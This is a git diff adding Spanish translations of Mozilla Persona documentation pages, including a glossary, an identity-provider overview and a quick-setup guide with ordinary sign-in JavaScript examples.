+<p>Para garantizar la privacidad de los usuarios, es importante que las aserciones de identidad se verifiquen a nivel local, y no con el servicio de verificación remota. Sin embargo, el formato de las afirmaciones aún está sujeta a cambios, por lo que la verificación local aún no es recomendable. Aun con la verificación remota, Persona protege al usuario de seguimiento con su proveedor de identidad.</p>
+<p>Una vez que el protocolo se haya estabilizado, las bibliotecas estarán disponibles para simplificar la verificación local. Siga el <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">Blog de Identity</a> para saber cuándo es recomendable la verificación local.</p>
+<h3 id="¿Qué_consejos_hay_para_la_migración_de_los_usuarios_que_actualmente_utilizan_otros_métodos_de_inicio_de_sesión">¿Qué consejos hay para la migración de los usuarios que actualmente utilizan otros métodos de inicio de sesión?</h3>
+<p>A pesar de los beneficios de Persona, nunca es fácil mover todos los usuarios a un nuevo sistema de inicio de sesión. Convenientemente, el enfoque que hace Persona con las direcciones de correo electrónico hace que sea fácil de usar junto con los sistemas de acceso ya existentes, por lo que no hace falta cambiar a todos a la vez.</p>
+<p>Un enfoque particular de baja fricción es sugerir Persona a usuarios que no recuerden su contraseña. En lugar de restablecer las contraseñas, los usuarios sólo tienen que acceder con Persona.</p>
+<h3 id="¿Como_he_de_señalar_que_Sign_In_también_permite_la_creación_de_cuentas_nuevas">¿Como he de señalar que "Sign In" también permite la creación de cuentas nuevas?</h3>
+<h3 id="¿Cómo_puedo_obtener_información_sobre_cambios_importantes_en_BrowserID_como_APIs_nuevas_u_obsoletas">¿Cómo puedo obtener información sobre cambios importantes en BrowserID, como APIs nuevas u obsoletas?</h3>
+<p>Cuando un cambio que rompe la compatibilidad hacia atrás o una función queda obsoleta, se anuncia a la lista de correo <a href="https://mail.mozilla.org/listinfo/persona-notices" title="https://mail.mozilla.org/listinfo/persona-notices">persona-notices</a>. Suscríbete.</p>
+<p>Para obtener información sobre las nuevas funciones y mejoras, sigue el <a href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">blog del equipo identity</a>.</p>
+<p>Para la discusión de desarrollo, suscríbete a la lista de correo <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">dev-identity</a>.</p>
diff --git a/files/es/mozilla/persona/glosario/index.html b/files/es/mozilla/persona/glosario/index.html
new file mode 100644
index 0000000000..41f36a0f20
--- /dev/null
+++ b/files/es/mozilla/persona/glosario/index.html
@@ -0,0 +1,67 @@
+---
+title: Glosario
+slug: Mozilla/Persona/Glosario
+translation_of: Archive/Mozilla/Persona/Glossary
+---
+<h2 id="Persona_vs._BrowserID">"Persona" vs. "BrowserID"</h2>
+<p><span id="result_box" lang="es"><span class="hps">Persona</span> <span class="hps">es una implementación completa</span> <span class="hps">de un nuevo</span> <span class="hps">sistema de acceso</span> <span class="hps">distribuido</span><span>, desde</span> <span class="hps">Mozilla.</span></span></p>
+<p><span id="result_box" lang="es"><span class="hps">BrowserID</span> <span class="hps">es el</span> <span class="hps">protocolo abierto</span> <span class="hps">que rige</span> <span class="hps">cómo funciona</span> <span class="hps">Persona.</span></span></p>
+<h2 id="Terminología_Común_De_Persona"><span class="short_text" id="result_box" lang="es"><span class="hps">Terminología</span> <span class="hps">Común</span></span> De Persona</h2>
+<dl>
+ <dt>
+  BrowserID</dt>
+ <dd>
+  <div class="almost_half_cell" id="gt-res-content">
+   <div dir="ltr" style="zoom: 1;">
+    <span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">protocolo</span> <span class="hps">descentralizado</span> <span class="hps">abierto para</span> <span class="hps">autenticar a los usuarios</span> <span class="hps">sobre la base de</span> <span class="hps">direcciones de correo electrónico</span><span>.</span></span></div>
+  </div>
+ </dd>
+ <dt>
+  <span class="short_text" id="result_box" lang="es"><span class="hps">Proveedor de identidad</span> <span class="hps atn">(</span><span class="hps atn">"</span><span>IdP</span><span>")</span></span></dt>
+ <dd>
+  <div class="almost_half_cell" id="gt-res-content">
+   <div dir="ltr" style="zoom: 1;">
+    <span class="short_text" id="result_box" lang="es"><span class="hps">Servicios</span> <span class="hps">que expiden</span> <span class="hps">credenciales a</span> <span class="hps">sus</span> <span class="hps">usuarios.</span></span></div>
+  </div>
+ </dd>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Los proveedores de correo electrónico</span> <span class="hps">pueden convertirse en</span> <span class="hps">proveedores de identidad</span> <span class="hps">de</span> <span class="hps">sus</span> <span class="hps">usuarios</span> <span class="hps">mediante la adición de</span> <span class="hps">soporte para</span> <span class="hps">el protocolo de autenticación</span> <span class="hps">BrowserID</span> <span class="hps">a</span> <span class="hps">su servicio.</span> <span class="hps">Si un</span> <span class="hps">proveedor de correo electrónico</span> <span class="hps">no admite</span> <span class="hps">Persona,</span> <span class="hps">Mozilla</span> <span class="hps">cuenta con un</span> <span class="hps">proveedor de identidad</span> <span class="hps">de reserva</span> <span class="hps">en</span> <span class="hps">login.persona.org</span><span>.</span></span></dd>
+ <dt>
+  login.persona.org</dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">proveedor de identidad</span> <span class="hps">de reserva</span> <span class="hps">dirigido por</span> <span class="hps">el equipo de</span> <span class="hps">Identidad</span> <span class="hps">de Mozilla</span><span>.</span></span></dd>
+ <dt>
+  Persona</dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">El nombre</span> <span class="hps">de cara al</span> <span class="hps">usuario de una</span> <span class="hps">suite completa de</span> <span class="hps">servicios</span> <span class="hps">relacionados con la identidad</span> <span class="hps">de</span> <span class="hps">Mozilla</span><span>, entre ellos el</span> <span class="hps">proveedor de identidad</span> <span class="hps">de reserva</span> <span class="hps">operada por</span> <span class="hps">Mozilla.</span> <span class="hps">Los usuarios finales</span> <span class="hps">no deben</span> <span class="hps">ver el</span> <span class="hps atn">término "</span><span>BrowserID</span><span>.</span><span>"</span></span></dd>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Persona</span> <span class="hps">puede</span> <span class="hps">eventualmente incluir</span> <span class="hps">características más allá</span> <span class="hps">del protocolo</span> <span class="hps">BrowserID</span><span>, como</span> <span class="hps">partes de</span> <span class="hps">Firefox</span> <span class="hps">Sync o</span> <span class="hps">un cuadro de mandos</span> <span class="hps">para Open</span> <span class="hps">Web Apps.</span></span></dd>
+</dl>
+<p><span id="result_box" lang="es"><span class="hps">Parte Dependiente</span> <span class="hps atn">(</span><span class="hps">"RP</span><span>")</span><br>
+      <span class="hps">Cualquier sitio web</span><span>, aplicación o</span> <span class="hps">servicio que permite a</span> <span class="hps">los usuarios iniciar sesión</span> <span class="hps">a través de</span> <span class="hps">Persona.</span></span></p>
+<h2 id="Proyecto_Codenames"><span class="short_text" id="result_box" lang="es"><span class="hps">Proyecto</span> Codenames</span></h2>
+<dl>
+ <dt>
+  BigTent</dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Un conjunto de</span> <span class="hps">tres</span> <span class="hps">proveedores de identidad</span> <span class="hps">de repliegue</span> <span class="hps">que avalan</span> <span class="hps">a los usuarios de</span> <span class="hps">Hotmail</span><span>, Gmail y</span> <span class="hps">Yahoo Mail</span><span>, respectivamente.</span> <span class="hps">BigTent</span> <span class="hps">opera</span><span> cerrando</span> <span class="hps">el protocolo</span> <span class="hps">BrowserID</span> <span class="hps">con</span> <span class="hps">OpenID</span> <span class="hps">o</span> <span class="hps">OAuth</span> <span class="hps">para cada</span> <span class="hps">proveedor de correo electrónico</span><span>.</span> <span class="hps">Fuente</span> <span class="hps">disponible en</span> <span class="hps">https://github.com/mozilla/browserid-bigtent</span><span>.</span></span></dd>
+ <dt>
+  Vinz Clortho</dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">proveedor de identidad</span> <span class="hps"><span id="result_box" lang="es"><span class="hps">de direcciones de correo electrónico </span></span>para <code>@mozilla.com</code> y <code>@mozilla.org</code></span> <span>.</span> <span class="hps">Funciona</span> <span class="hps">mediante la consulta</span> <span class="hps">LDAP.</span> <span class="hps">Fuente</span> <span class="hps">disponible en</span> <span class="hps">https://github.com/mozilla/vinz-clortho</span><span>.</span> <span class="hps">El nombre es una</span> <span class="hps">referencia de</span> una <span class="hps">película de 1984 llamada <span id="result_box" lang="es"><span class="hps">Ghostbusters</span>.</span></span></span></dd>
+</dl>
+<h2 id="Terminología_Persona_Poco_Frecuente"><span class="short_text" id="result_box" lang="es"><span class="hps">Terminología</span></span> Persona Poco Frecuente</h2>
+<dl>
+ <dt>
+  <span class="short_text" id="result_box" lang="es"><span class="hps">Autoridad</span> <span class="hps atn">Primaria (</span><span class="hps">"Principal"</span><span>)</span></span></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Término</span> <span class="hps">en desuso</span> <span class="hps">para los</span> <span class="hps">proveedores de correo electrónico</span> <span class="hps">que también son</span> <span class="hps">capaces de actuar como</span> <span class="hps">proveedores de identidad</span><span>.</span></span></dd>
+ <dt>
+  Autoridad Secundaria ("Secundario")</dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Término</span> <span class="hps">en desuso</span> <span class="hps">para un</span> <span class="hps">repliegue </span>de <span class="hps">proveedores de identidad</span> <span class="hps">que pueden</span> <span class="hps">dar fe de</span> <span class="hps">los usuarios, cuyos</span> <span class="hps">proveedores</span> <span class="hps">de correo electrónico no</span> <span class="hps">son</span> <span class="hps">proveedores de identidad</span><span>.</span> <span class="hps">Mozilla</span> <span class="hps">cuenta con un</span> <span class="hps">proveedor de identidad</span> <span class="hps">de reserva</span> <span class="hps">en</span> <span class="hps">login.persona.org</span><span>.</span></span></dd>
+ <dt>
+  <span class="short_text" id="result_box" lang="es"><span class="hps">Verificador De</span> <span class="hps">Protocolo</span> <span class="hps">De Email</span></span></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Un viejo</span> <span class="hps">nombre</span><span>, difunto</span> <span class="hps">para el protocolo</span> <span class="hps">BrowserID</span><span>.</span></span></dd>
+</dl>
diff --git a/files/es/mozilla/persona/index.html b/files/es/mozilla/persona/index.html
new file mode 100644
index 0000000000..66c9c3a1e2
--- /dev/null
+++ b/files/es/mozilla/persona/index.html
@@ -0,0 +1,131 @@
+---
+title: Persona
+slug: Mozilla/Persona
+tags:
+  - Individuo
+  - Objeto
+  - Persona
+translation_of: Archive/Mozilla/Persona
+---
+<div class="callout-box">
+<p><strong>Contacta o pide ayuda</strong></p>
+
+<p>Sigue <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">nuestro blog</a>, únete a <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">nuestra lista de correo</a>, o encuéntranos en <a class="link-irc" href="irc://irc.mozilla.org/identity" title="irc://irc.mozilla.org/identity">#identity</a> en <a class="link-https" href="https://wiki.mozilla.org/IRC" title="https://wiki.mozilla.org/IRC"> IRC</a>.</p>
+</div>
+
+<p><a class="link-https" href="https://www.mozilla.org/en-US/persona/" title="https://www.mozilla.org/en-US/persona/">Mozilla Persona</a> es un sistema de autenticación para la web completamente descentralizado y seguro basado en el protocolo abierto de BrowserID. Para asegurarse que Mozilla Persona trabaja en cualquier lugar y que puede ser usado por cualquiera, Mozilla actualmente opera con una pequeña suite de servicios <a href="/es/docs/Persona/Iniciar_Persona" title="/en-US/docs/Persona/Bootstrapping_Persona">optativos y centralizados</a> relacionados con Mozilla Persona.</p>
+
+<p>¿Por qué deberías usar Mozilla Persona en tu sitio web?</p>
+
+<ol>
+ <li><strong>Mozilla Persona elimina por completo las contraseñas específicas para los sitios web, </strong>lo que libera a los usuarios y a las páginas web de tener que crear, administrar y guardar de manera segura las contraseñas.</li>
+ <li><strong>Mozilla Persona es fácil de usar.</strong> Con tan solo dos clics un usuario de Mozilla Persona puede identificarse en un sitio web nuevo como<a href="http://voo.st" title="http://voo.st"> Voost</a> o <a href="http://crossword.thetimes.co.uk/" title="http://crossword.thetimes.co.uk/">The Times Crossword</a>,  lo que elimina la fricción que se asocia a la creación de nuevas cuentas.</li>
+ <li><strong>Mozilla Persona es fácil de implementar</strong><strong>. </strong>Cualquier desarrollador puede agregar Mozilla Persona a una página web en una tarde.</li>
+ <li>Y lo mejor de todo, no tiene un efecto <strong>candado</strong>. Los desarrolladores obtienen una dirección de correo verificada para todos sus usuarios y, a su vez, los usuarios pueden utilizar cualquier dirección de correo que deseen con Mozilla Persona</li>
+</ol>
+
+<p>¡Sigue leyendo para saber cómo comenzar!</p>
+
+<div class="note"><strong>Nota:</strong> Persona está actualmente en desarrollo activo. Sigue<a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/"> nuestro blog</a> para descubrir nuevas características, o ¡únete a <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">nuestra lista de correo</a> y danos tu opinión!</div>
+
+<h2 id="Usar_Mozilla_Persona_en_tu_sitio">Usar Mozilla Persona en tu sitio</h2>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Comenzar">Comenzar</h3>
+
+    <dl>
+     <dt><a href="/es/docs/Persona/Why_Persona" title="en/BrowserID/Why_BrowserID">¿Por qué Mozilla Persona?</a></dt>
+     <dd>Descubre los motivos para implementar Mozilla Persona en tu web, así como las diferencias con otros sistemas de identidad y autenticación.</dd>
+     <dt><a href="/es/Persona/Quick_Setup" title="BrowserID/Quick setup">Inicio rápido</a></dt>
+     <dd>Un paseo rápido para mostrar cómo añadir Mozilla Persona a tu sitio web.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Referencia_a_la_API_Mozilla_Persona">Referencia a la API Mozilla Persona</h3>
+
+    <dl>
+     <dt><a href="/en/DOM/navigator.id" title="navigator.id">The navigator.id API reference</a></dt>
+     <dd>Referencia al objeto navigator.id, el cual pueden utilizar los desarrolladores web para integrar Persona en sus sitios web.</dd>
+     <dt><a href="/en/Persona/Remote_Verification_API" title="en/BrowserID/Remote_Verification_API">Verification API reference</a></dt>
+     <dd>Referencia para la API de verificación remota alojada en <code>https://verifier.login.persona.org/verify</code>.</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <h3 id="Guías">Guías</h3>
+
+    <dl>
+     <dt><a href="/es/docs/Persona/Security_Considerations" title="BrowserID/Security considerations">Consideraciones de seguridad</a></dt>
+     <dd>Prácticas y técnicas para asegurar un despliegue seguro de Persona.</dd>
+     <dt><a href="/es/Persona/Browser_compatibility" title="/Browser_compatibility">Compatibilidad de navegadores</a></dt>
+     <dd>Descubre qué navegadores son compatibles con Persona.</dd>
+     <dt><a href="/es/docs/Persona/Internationalization" title="/Internationalization">Internacionalización</a></dt>
+     <dd>Descubre cómo Persona maneja diferentes idiomas.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Recursos">Recursos</h3>
+
+    <dl>
+     <dt><a class="link-https" href="/es/docs/Persona/Libraries_and_plugins" title="https://github.com/mozilla/browserid/wiki/BrowserID-Libraries">Bibliotecas y complementos</a></dt>
+     <dd>Encuentra la biblioteca para tu lenguaje de programación favorito, framework web, blog o sistema de gestión de contenido (CMS).</dd>
+     <dt><a class="link-https" href="https://github.com/mozilla/browserid-cookbook" title="https://github.com/mozilla/browserid-cookbook">The Persona cookbook</a></dt>
+     <dd>Ejemplos de código fuente para sitios con Persona. Incluye snippets en PHP, Node.JS y más.</dd>
+     <dt><a href="/es/docs/persona/branding" title="/en-US/docs/persona/branding">Branding resources</a></dt>
+     <dd>Botones de inicio de sesión y otros gráficos para ayudarte a presentar Persona a tus usuarios.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 id="Información_para_proveedores_de_identidad">Información para proveedores de identidad</h2>
+
+    <p>Si usted es un proveedor de correo u otro proveedor de servicios de identidad, vea los siguientes enlaces para aprender acerca de convertirse en un Proveedor de Identidad Persona.</p>
+
+    <dl>
+     <dt><a href="/en-US/docs/Persona/Identity_Provider_Overview" title="IdP">Informaciòn general deIdP</a></dt>
+     <dd>Una vista de alto nivel de los Proveedores de Identidad Persona.</dd>
+     <dt><a href="/en/Persona/Implementing_a_Persona_IdP" title="Guide to Implementing a Persona IdP">Implementando un IdP</a></dt>
+     <dd>Una guía detallada sobre los detalles técnicos de convertirse en IdP.</dd>
+     <dt><a href="/en-US/Persona/IdP_Development_tips" title="Developer tips">Consejos de desarrollo</a></dt>
+     <dd>Un conjunto de consejos y trucos útiles para el desarrollo de un nuevo Proveedor de Identidad.</dd>
+     <dt><a href="/en-US/docs/Persona/.well-known-browserid" title="https://developer.mozilla.org/en-US/docs/Persona/.well-known-browserid">.well-known/browserid</a></dt>
+     <dd>Información general de la estructura y propósito del archivo de <code>.well-known/browserid</code>, el cual IdPs usa para anunciar el soporte para el protocolo.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 id="El_proyecto_Mozilla_Persona">El proyecto Mozilla Persona</h2>
+
+    <dl>
+     <dt><a href="/en/Persona/Glossary" title="navigator.id">Glosario</a></dt>
+     <dd>Definición de los términos BrowserID y Persona.</dd>
+     <dt><a href="/en/Persona/FAQ" title="en/BrowserID/FAQ">FAQ</a></dt>
+     <dd>Respuestas a preguntas frecuentes.</dd>
+     <dt><a href="/en/Persona/Protocol_Overview" title="BrowserID/Protocol overview">Información general del protocolo</a></dt>
+     <dd>Descripción técnica a nivel medio del protocolo Persona subyacente</dd>
+     <dt><a href="/es/docs/Persona/Crypto" title="MDN">Crypto</a></dt>
+     <dd><span id="result_box" lang="es"><span class="hps">Una mirada a</span> <span class="hps">los conceptos</span> <span class="hps">criptográficos</span> <span class="hps">detrás</span> de <span class="hps">Persona</span> <span class="hps">y</span> <span class="hps">BrowserID</span><span>.</span></span></dd>
+     <dt><a class="link-https" href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md" title="https://github.com/mozilla/id-specs/blob/master/browserid/index.md">La especificación</a></dt>
+     <dd>Profundos detalles técnicos viven aquí.</dd>
+     <dt><a href="/es/docs/Persona/Iniciar_Persona" title="en/BrowserID/Bootstrapping_BrowserID">El sitio web de Persona</a></dt>
+     <dd>Para hacer funcionar a Persona, estamos hosteando trés servicios en <a class="link-https" href="https://login.persona.org" rel="freelink">https://login.persona.org</a>: un Proveedor de Identidad en caso de fallos, una implementación portable de las APIs de {{ domxref("navigator.id") }} y un servicio de verificación de afirmación de identidad.</dd>
+     <dt><a href="https://github.com/mozilla/browserid">El código fuente de Persona</a></dt>
+     <dd>El código detrás del sitio web de Persona vive en un repositorio de GitHub. Los pedidos de pull son bienvenidos!</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/mozilla/persona/información_general_idp/index.html b/files/es/mozilla/persona/información_general_idp/index.html
new file mode 100644
index 0000000000..1befe0db1a
--- /dev/null
+++ b/files/es/mozilla/persona/información_general_idp/index.html
@@ -0,0 +1,39 @@
+---
+title: Información general del Proveedor de Identidad
+slug: Mozilla/Persona/Información_general_IdP
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/Identity_Provider_Overview
+---
+<p>Un proveedor de identidad Persona (IdP) es un dominio que firma y certifica directamente la identidad de sus usuarios. Como las identidades Persona están basadas en direcciones de correo electrónico, es un paso natural para cualquier dominio que ofrezca correo electrónico convertirse en IdP.</p>
+<p>Si usted tiene un nombre de dominio, puede convertirse en un IdP de Persona implementando el soporte para el protocolo BrowserID.</p>
+<h2 id="El_documento_de_apoyo_IdP">El documento de apoyo IdP</h2>
+<p>Los dominios anuncian su capacidad de actuar como IDPs mediante la publicación de un documento de apoyo en <code>/.well-known/browserid</code>. Este documento formateado con JSON contiene tres valores:</p>
+<ul>
+  <li><code>public-key</code>: La parte pública de la clave de cifrado del dominio.</li>
+  <li><code>authentication</code>: La página del dominio para pedir a los usuarios que inicien sesión.</li>
+  <li><code>provisioning</code>: La página del dominio para certificar la identidad de los usuarios.</li>
+</ul>
+<p>Los sitios web utilizan la clave pública para verificar la autenticidad de las aserciones de identidad de los usuarios.</p>
+<p>Los navegadores utilizan los valores autenticación y aprovisionamiento para obtener la certificación de identidad de los usuarios.</p>
+<p>Para obtener más información, incluyendo cómo los dominios pueden delegar en otros IdP, véase la <a href="https://developer.mozilla.org/en-US/docs/Persona/.well-known-browserid" title="https://developer.mozilla.org/en-US/docs/BrowserID/.well-known-browserid"><code>/.well-known/browserid</code> documentation</a>.</p>
+<h2 id="Cómo_interactúan_los_navegadores_con_los_IDPs">Cómo interactúan los navegadores con los IDPs</h2>
+<p>Para demostrar cómo los navegadores y los IDPs interactúan, veamos qué pasa la primera vez que <code>alice@example.com</code> utiliza Persona para iniciar sesión en un sitio web.</p>
+<ol>
+  <li>El navegador de Alice obtiene el documento de soporte de <code>https://example.com/.well-known/browserid</code>.</li>
+  <li>El navegador de Alice carga de manera invisible la página de aprovisionamiento d'<code>example.com</code>, pidiéndole que firme una clave pública certificando la identidad de Alice.</li>
+  <li>Antes de firmar la clave, <code>example.com</code> necesita pruebas de que el usuario realmente es Alice, así que le indica al navegador que ella necesita autenticarse.</li>
+  <li>El navegador de Alice le muestra a Alice la página de autenticación de <code>example.com</code> y ella inicia sesión, estableciendo una nueva sesión a <code>example.com</code>.</li>
+  <li>El navegador de Alice vuelve a cargar la página de aprovisionamiento y de nuevo le pide que firme la clave pública que certifica la identidad de Alice.</li>
+  <li>La página de aprovisionamiento puede verificar la identidad de Alice inspeccionando la sesión recién creada. Satisfecha, firma un certificado que contiene la clave pública de Alice, su dirección de correo electrónico, y una fecha de caducidad del certificado.</li>
+</ol>
+<p>Durante la vigencia del certificado firmado, el navegador de Alice puede crear aserciones de identidad válidos para <code>alice@example.com</code> cada vez que quiere acceder a un sitio web con Persona.</p>
+<p>Los pasos 3-5 pueden ser omitidos si Alice ya tiene una sesión válida con <code>example.com</code>, por ejemplo, si ha iniciado sesión en el correo web o un portal de intranet.</p>
+<h2 id="Cómo_interactúan_los_sitios_web_con_los_IDPs">Cómo interactúan los sitios web con los IDPs</h2>
+<p>Supongamos que Alice quiere acceder a <a href="http://123done.org/" title="http://123done.org/">123done.org</a>. Su navegador genera y firma una aserción de identidad que contiene el certificado de más arriba y que presenta como prueba de su identidad.</p>
+<p>Al comparar la firma de la aserción de identidad de Alice con la clave pública en el interior del certificado firmado, 123done puede estar seguro de que el certificado ha sido emitido para la misma persona que ha generado la aserción de identidad. Sin embargo, 123done aún debe comprobar que el certificado es válido examinando la firma.</p>
+<p>Como el certificado ha sido emitido para <code>alice@example.com</code>, 123done coge el documento de soporte de <code>https://example.com/.well-known/browserid</code>. Extrae la clave pública y la compara con la firma del certificado de Alice. Si la clave coincide con la firma, 123done sabe que el certificado es legítimo y puede finalmente permitir que Alice inicie sesión.</p>
+<p>Tenga en cuenta que 123done no "ha llamado nunca por teléfono a casa" o ha revelado de ninguna otra manera la identidad de Alice cuando ella ha iniciado sesión. Tan sólo ha necesitado pedir un simple documento a <code>example.com</code> que además puede ser guardado en la memoria caché.</p>
+<h2 id="Seguridad_y_confianza">Seguridad y confianza</h2>
+<p>El protocolo BrowserID, y por tanto Persona, se basan en técnicas estándar de criptografía de clave pública.</p>
+<p>Puede consultar nuestra documentación sobre los <a href="/en/Persona/Crypto" title="https://developer.mozilla.org/en/Persona/Crypto">conceptos criptográficos</a> que hay detrás de cómo funcionan los IdP de Persona o puede leer <a href="/en-US/docs/Persona/Implementing_a_Persona_IdP" title="/en-US/docs/Persona/Implementing_a_Persona_IdP">los detalles sobre cómo están implementados los IDPs</a>.</p>
diff --git a/files/es/mozilla/persona/quick_setup/index.html b/files/es/mozilla/persona/quick_setup/index.html
new file mode 100644
index 0000000000..c12d2000d4
--- /dev/null
+++ b/files/es/mozilla/persona/quick_setup/index.html
@@ -0,0 +1,170 @@
+---
+title: Configuración rápida
+slug: Mozilla/Persona/Quick_Setup
+translation_of: Archive/Mozilla/Persona/Quick_Setup
+---
+<p>Agregar el sistema de identificación de Mozilla Persona a tu sitio web solo requiere seguir estos cinco pasos:</p>
+
+<ol>
+ <li>Incluye en tus páginas la biblioteca JavaScript de Mozilla Persona.</li>
+ <li>Agrega los botones "conectar" y "desconectar".</li>
+ <li>Presta atención a las acciones de conexión y desconexión.</li>
+ <li>Comprueba las credenciales de los usuarios.</li>
+ <li>Revisa las buenas prácticas.</li>
+</ol>
+
+<p>Con esto deberías poder ponerlo en funcionamiento en una sola tarde, pero lo primero es lo primero: si vas a usar Mozilla Persona en tu sitio, <em>por favor, </em>dedica unos minutos a suscribirte a la lista de correo de <a href="https://mail.mozilla.org/listinfo/persona-notices">Mozilla Persona</a>. Tiene muy poco tráfico ya que solo se usa para anunciar cambios o cuestiones relacionadas con la seguridad que pueden tener un impacto negativo sobre tu sitio.</p>
+
+<h2 id="Paso_1_Incluye_la_biblioteca_de_Persona">Paso 1: Incluye la biblioteca de Persona</h2>
+
+<p>Persona está diseñado para no depender del navegador y funciona correctamente con la <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility">todos los naveadores de escritorio y móviles modernos</a>. Esto es posible gracias a la biblioteca JavaScript multiplataforma de Persona. Una vez que se carga ésta biblioteca en tu página, las funciones de Persona que necesitas ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, y {{ domxref("navigator.id.logout()", "logout()") }}) estarán disponibles en el objeto global <code>navigator.id</code>.</p>
+
+<p>Para incluir la biblioteca JavaScript de Persona, puedes colocar ésta etiqueta <code>script</code> en el head de tu página:</p>
+
+<pre class="brush: html;">&lt;script src="https://login.persona.org/include.js"&gt;&lt;/script&gt;
+</pre>
+
+<p><strong>Debes</strong> incluir esto en todas las páginas que usen las funciones {{ domxref("navigator.id") }}. Debido a que Persona está aún en desarrollo, no debes alojar en tu servidor el archivo <code>include.js</code>.</p>
+
+<h2 id="Paso_2_Añadir_botones_de_inicio_y_cierre_de_sesión">Paso 2: Añadir botones de inicio  y cierre de sesión</h2>
+
+<p>Debido a que Persona está diseñado como una API DOM, debes ejecutar funciones cuando un usuario haga clic en los botones de inicio y cierre de sesión en tu web. Para abrir un diálogo de Persona y pedir que el usuario inicie sesión, debes ejecutar {{ domxref("navigator.id.request()") }}. Para cerrar sesión, ejecuta {{ domxref("navigator.id.logout()") }}.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js;">var signinLink = document.getElementById('signin');
+if (signinLink) {
+  signinLink.onclick = function() { navigator.id.request(); };
+};
+
+var signoutLink = document.getElementById('signout');
+if (signoutLink) {
+  signoutLink.onclick = function() { navigator.id.logout(); };
+};
+</pre>
+
+<p>¿Cómo deben ser esos botones? Da un vistazo a nuestra página de <a href="https://developer.mozilla.org/docs/persona/branding">recursos de marca</a> para conseguir imágenes y botones css predefinidos.</p>
+
+<h2 id="Paso_3_Vigilar_las_acciones_de_inicio_y_cierre_de_sesión">Paso 3: Vigilar las acciones de inicio y cierre de  sesión</h2>
+
+<p>Para que Persona funcione, necesitas indicarle qué hacer cuando un usuario inicia o cierra sesión. Este se puede realizar llamando a la función {{ domxref("navigator.id.watch()") }} y pasandole tres parámetros:</p>
+
+<ol>
+ <li>
+  <p><code>El loggedInEmail</code> del actual usuario de tu sitio, o <code>null</code> si no existe. Deberías generar esto dinámicamente cuando la página es pintada.</p>
+ </li>
+ <li>
+  <p>Una función a la que invocar cuando la acción <code>onlogin</code> es desencadenada. Esta función se pasa como un parámetro único, una "afirmación de identidad", que debe ser verificada.</p>
+ </li>
+ <li>
+  <p>Una función a la que invocar cuando la acción <code>onlogout</code> es desencadenada. En esta función no se pasa ningún parámetro.</p>
+ </li>
+</ol>
+
+<div class="note style-wrap">
+<p><strong>Nota:</strong> Siempre tienes que incluir ambas funciones, <code>onlogin</code> <code>y onlogout</code>, cuando llames a {{ domxref("navigator.id.watch()") }}.</p>
+</div>
+
+<p>Por ejemplo, si actulamente crees que Bob ha iniciado sesión en tu sitio, puedes hacer esto:</p>
+
+<pre class="brush: js;">var currentUser = 'bob@example.com';
+
+navigator.id.watch({
+  loggedInEmail: currentUser,
+  onlogin: function(assertion) {
+    // Un usuario ha iniciado sesión!  Aquí necesitas:
+    // 1. Enviar la verificación a tu servidor para verificar y crear la sesión.
+    // 2. Actualizar la interfaz de usuario.
+    $.ajax({ /* &lt;-- Este ejemplo utiliza Jquery, pero usar lo que más te guste */
+      type: 'POST',
+      url: '/auth/login', // Esta es la URL de tu servidor.
+      data: {assertion: assertion},
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(res, status, xhr) { alert("login failure" + res); }
+    });
+  },
+  onlogout: function() {
+    // Un usuario ha cerrado sesión. Aqui necesitas:   // Salir de la sesión redirigiendo al usuario o haciendo una llamada a tu servidor.
+    $.ajax({
+      type: 'POST',
+      url: '/auth/logout', // Esta es la URL de tu servidor.
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(res, status, xhr) { alert("logout failure" + res); }
+    });
+  }
+});
+</pre>
+
+<p>En este ejemplo, ambas funciones, <code>onlogin</code> y <code>onlogout</code>,  son implementeadas por una petición asíncrona <code>POST</code> al servidor del sitio. El servidor registra la entrada o salida del usuario usualmente ajustando o eliminando información de la cookie de sesión. Entonces, si todo ha sido verificado, la página recargará para acceder al nuevo estado de sesión de la cuenta.</p>
+
+<p>Puedes usar AJAX para implementar esto sin necesidad de recargar o redirigir la página, pero eso queda fuera del alcance de este tutorial.</p>
+
+<p><strong>Tienes </strong>que llamar a esta función en cada página con un botón de inicio o cierre de sesión. Para dar soporte a mejoras de Persona, como el inicio de sesión automático y el cierre de sesión global para los usuarios, <strong>deberás </strong>llamar a esta función en cada página de tu sitio.</p>
+
